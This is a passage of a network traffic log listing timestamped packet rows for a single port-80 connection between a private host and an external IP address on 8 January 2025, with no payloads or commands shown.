Jan 8, 2025 09:42:33.948771954 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.948795080 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949024916 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949029922 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949042082 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949053049 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949059010 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949065924 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949071884 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949079037 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949079990 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949085951 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949091911 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949098110 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949098110 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949105978 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949112892 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949137926 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949161053 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949181080 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949191093 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949203014 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949209929 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949222088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949233055 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949249029 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949264050 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949337959 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949346066 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949357033 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949363947 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949369907 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949376106 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949387074 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949393988 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949400902 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949405909 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949414015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949415922 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949419975 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949425936 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949435949 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949435949 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949461937 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949467897 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949469090 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949475050 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949484110 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949495077 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949520111 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949529886 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949532986 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949570894 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949687004 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949692965 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949704885 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949711084 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949717999 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949724913 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949738026 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949739933 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949743986 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949755907 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949765921 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949769020 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949786901 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949791908 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949800014 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949806929 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949821949 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.949822903 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949851990 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.949868917 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.984918118 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.984963894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.984977007 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.984983921 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.985017061 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.985054016 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.985106945 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.985116005 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.985129118 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.985133886 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.985152006 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.985160112 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.985166073 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.985194921 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.985212088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.985222101 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.985234976 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.985243082 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.985268116 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.985284090 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.995592117 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995600939 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995637894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995666027 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.995676994 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995686054 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995697021 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.995698929 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995726109 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.995755911 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.995810986 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995821953 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995831013 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995836973 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995843887 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995848894 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.995863914 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.995893002 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.995923042 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995937109 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995949984 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995956898 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995963097 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995969057 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995975971 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.995981932 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.995982885 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.996004105 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.996011972 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.996020079 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.996020079 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.996043921 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.996068001 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.033582926 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.033590078 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.033596992 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.033608913 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.033616066 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.033623934 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.033629894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.033654928 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.033691883 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.035154104 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035157919 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035165071 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035171032 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035176039 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035182953 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035190105 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035196066 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035202026 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035201073 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.035207033 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035213947 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035228968 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.035232067 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035243034 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035247087 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.035250902 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035257101 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035263062 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035268068 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.035271883 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035295010 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.035317898 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.035464048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035470963 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035475969 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035491943 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035505056 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.035535097 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.035551071 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035573959 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035581112 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035593033 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035598993 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035600901 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.035607100 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035620928 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035629988 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.035630941 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.035667896 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.035681963 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.036792994 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.036806107 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.036840916 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.036848068 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.036854982 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.036900043 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.036921024 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.036931038 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.036942005 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.036947012 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.036956072 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.036986113 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.037007093 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.037108898 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037115097 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037148952 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.037249088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037257910 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037262917 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037269115 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037280083 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037286043 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037295103 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037312031 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037316084 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.037318945 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037328959 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.037343025 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037352085 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037357092 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037380934 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.037405014 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.037533998 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037540913 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037547112 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037553072 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037559032 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037573099 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037580013 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.037586927 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037592888 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037596941 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.037627935 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.037794113 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037801981 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037821054 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037828922 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037843943 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037848949 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037852049 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.037856102 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037866116 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.037867069 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037875891 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037890911 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037898064 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037900925 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.037904978 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.037933111 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.037955999 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.071569920 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.071589947 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.071594954 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.071630001 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.071644068 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.071651936 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.071661949 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.071675062 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.071695089 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.071702003 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.071716070 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.071727991 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.071743965 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.071743965 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.071757078 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.071763039 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.071769953 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.071787119 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.071803093 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.071921110 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.071929932 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.071940899 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.071947098 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.071975946 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.071990967 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.082432985 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082463980 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082472086 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082478046 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082484961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082488060 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.082508087 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082510948 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.082540989 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.082556009 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.082566977 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082587957 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082612038 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082619905 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082624912 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082631111 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082638979 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.082668066 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082675934 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082681894 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.082698107 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082705021 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.082705021 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082710981 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082736969 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.082760096 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082762957 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.082775116 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082786083 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082798004 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.082824945 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.082869053 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082875967 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082889080 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082894087 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082900047 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.082926989 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.082946062 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.120053053 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.120062113 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.120146036 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.120155096 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.120171070 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.120177031 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.120181084 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.120194912 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.120202065 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.120230913 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.120254040 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.121507883 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121545076 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121562004 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121572018 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.121576071 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121587992 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121593952 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121613979 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.121619940 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121654987 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.121680021 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121685028 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121685982 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.121694088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121707916 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121720076 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121730089 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.121736050 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121747017 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121752977 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121752977 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.121758938 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121792078 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.121795893 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121808052 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.121838093 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.121854067 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121860981 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.121900082 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.121937037 CET	80	49703	176.113.115.19	192.168.2.7
